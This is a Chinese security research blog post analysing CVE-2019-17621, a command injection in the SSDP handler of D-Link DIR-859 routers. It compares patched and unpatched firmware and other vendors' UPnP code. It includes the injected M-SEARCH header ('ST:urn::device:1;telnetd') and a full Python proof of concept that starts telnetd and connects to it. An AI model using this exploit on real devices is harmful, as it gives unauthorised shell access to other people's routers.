D-Link DIR-859 及其系列上存在的ssdpcgi未认证命令执行漏洞(CVE-2019–17621)

最近打算针对一个类型的漏洞进行仔细的分析,希望能通过这个漏洞的分析总结归纳出具有这个漏洞的设备的特点,利于指导之后的漏洞挖掘。
目前的分析思路:
1. 首先分析该漏洞在DIR-859上的形成原因,利用思路。
2. 查看其他受影响的设备漏洞形成原因和利用方式与该DIR-859上有何不同
3. 研究官方补丁,看看官方如何修补该漏洞
4. 研究除了DLINk系列,其他系列的设备处理SSDP的流程是否也存在类似问题

0x01 漏洞概述

主要是在ssdpcgi函数中发现了该漏洞,且因为SSDP协议缘故,该漏洞利用无须通过认证
漏洞起因主要是因为环境变量没有进行字符过滤

  1. 漏洞研究版本

    1
    2
    3
    型号:DIR-859
    固件版本:1.06b01 Beta01,1.05
    架构:MIPS 32位
  2. 目前搜集到的受影响的Dlink版本

    0x02 漏洞分析

    首先分析一下这个ssdpcgi函数的逻辑
    首先是a1,也就是参数个数。随后获取了四个环境变量
    ccad2c09a97638c032bb6c7814e2e0b7.png
    HTTP_ST这个字段主要是关系到搜索的方式,根据函数逻辑一共有4种发现设备的方式

  3. ssdp:all 搜索所有的UPnP设备以及服务

  4. upnp:rootdevice:搜索root设备

  5. uuid: 查询特定uuid的设备

  6. urn: 查询指定类型的设备

以下是四种情况的处理流程,可以看到最终都会执行lxmldbc_system这个函数来执行M-SEARCH.sh这个脚本来查询设备
最后执行的命令基本格式就是两种,xxxx就是可以注入的位置

1
2
/etc/scripts/upnp/M-SEARCH.sh ssdpall adddr:port id &
/etc/scripts/upnp/M-SEARCH.sh uuid adddr:port id uuid:xxxxxx&

所以只要将ST字段设置为uuid或者urn就可以在最后拼接自己构造的ST
还有就是其他人的poc都是说只能用urn:构造后利用。但我觉得uuid也是可以的。
60f9b44fd4272eb6602119af5b24ab1f.png
现在我先把路由器模拟起来试一下,使用firmadyne进行模拟
06cb32a32c2c76412b8c845ada7fecb9.png
尝试如此构造header注入,成功

1
2
3
4
5
6
[+] Preparando Header ...
M-SEARCH * HTTP/1.1
HOST:192.168.0.1:1900
ST:urn::device:1;telnetd
MX:2
MAN:"ssdp:discover"

果然uuid也可以,header的ST部分也可以如此构造

1
header += "ST:uuid:1;telnetd\n"

928033f201fa083f28dc313c4df4743e.png

测试使用的反向连接poc脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python
import sys
import os
import socket
from time import sleep
# Exploit By Miguel Mendez - @s1kr10s
def config_payload(ip, port):
header = "M-SEARCH * HTTP/1.1\n"
header += "HOST:"+str(ip)+":"+str(port)+"\n"
header += "ST:urn::device:1;telnetd\n"
# header += "ST:uuid:1;telnetd\n"
header += "MX:2\n"
header += 'MAN:"ssdp:discover"'+"\n\n"
return header

def send_conexion(ip, port, payload):
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
sock.sendto(payload,(ip, port))
sock.close()

if __name__== "__main__":
ip = raw_input("Router IP: ")
port = 1900
headers = config_payload(ip, port)
print("\n---= HEADER =---\n")
print("[+] Preparando Header ...")
print headers
print("[+] Enviando payload ...")
print("[+] Activando servicio telnetd :)")
send_conexion(ip, port, headers)
print("[+] Conectando al servicio ...n")
sleep(5)
os.system('telnet ' + str(ip))

0x03 针对DIR859上漏洞的总结

经过分析我觉得造成这个UPnp漏洞的原因主要有以下两点

  1. 环境变量并未进行字符过滤
  2. 利用SSDP进行查询时,发现根设备和遍历设备两种模式都不需要额外参数,因此不会造成命令执行注入。但是针对于特定类型设备的查询时比如利用uuid和urn来指定时,指定的信息会成为system命令执行参数的一部分,而这部分就可以造成命令执行注入了。而且包括REMOTE_ADDR和REMOTE_PORT是都没有对其进行过滤,因此这两个是也可以注入的

0x04 其他DLink路由器上的ssdpcgi行为分析

1 DIR885L

DIR885LA (1.20b02) 是已经经过了修补的

首先一样的是获取四个环境变量的操作,但是sub_17788对ST进行了一些操作

df7e2fc7cbcc5bdeb5348c5b0c8390c0.png

让我们跟进sub_17788看看其做了什么操作,发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __fastcall sub_17788(const char *a1)
{

v14 = 0;
memset(v13, 0, sizeof(v13));
//首先看首部是不是uuid
result = strncmp(a1, "uuid:", 5u);
//如果不是uuid,那么就应该是urn来指定设备
if ( result )
{
while ( 1 )
{
//每次循环将urn指定的设备格式和它硬编码在程序里的一个字典循环比较,如果字典比较完了还没有匹配就直接置0退出
if ( !off_30354[v14] )
{
dword_30350 = 0;
return result;
}
result = strcmp(off_30354[v14], a1);
if ( !result )
break;
++v14;
}
//如果匹配到了相应字典就把该设备名称输入到变量里
result = snprintf(byte_3051C, 0x400u, "%s", off_30354[v14]);
}
//如果是uuid就利用格式化字符串转化成uuid的格式
else
{
snprintf(v13, 0x400u, "%s", a1 + 5);
v2 = strtok(v13, "-");
v3 = strtol(v2, 0, 16);
v4 = strtok(0, "-");
v5 = strtol(v4, 0, 16);
v6 = strtok(0, "-");
v7 = strtol(v6, 0, 16);
v8 = strtok(0, "-");
v9 = strtol(v8, 0, 16);
v10 = strtok(0, "-");
v11 = strtoll(v10, 0, 16);
result = snprintf(byte_3051C, 0x400u, "uuid:%08X-%04X-%04X-%04X-%012llX", v3, v5, v7, v9, v11);
}
return result;
}

2 DIR-865L

版本1.07b01
漏洞与DIR-859基本没有区别,漏洞点与漏洞代码完全一致

0x05 其他厂商路由器对SSDP的实现

1 ASUS WRT-AC66U

利用下面这个命令找到usr/sbin/miniupnpd,这个二进制文件应该是提供SSDP服务的
看名称感觉华硕使用的是开源的miniupnp模块

1
grep -rnl "upnp"

接着逆向分析固件,搜索ssdp相关函数(也可以搜索ST字符串)找到对应的逻辑

同样关注点在选择特定参数或者uuid的查询上,核心逻辑就是下面这个图

可以看到他每次查询都是从一个已经查询好的列表里不停匹配(rootDevice),匹配成功了就返回成功的结果,不存在用户输入被执行了的结果
9742c40625a584096abbe1d839ba3deb.png

2 FAST-FER 450

与AC66U一样,同样使用miniupnpd,代码基本一致

3 网剑R6700

自己实现的一个过程,完整过程还需研究

参考

CVE-2019–17621: D-Link DIR-859 未授权命令执行漏洞分析 - 安全客,安全资讯平台 (anquanke.com)

-------------本文结束感谢您的阅读-------------
+ +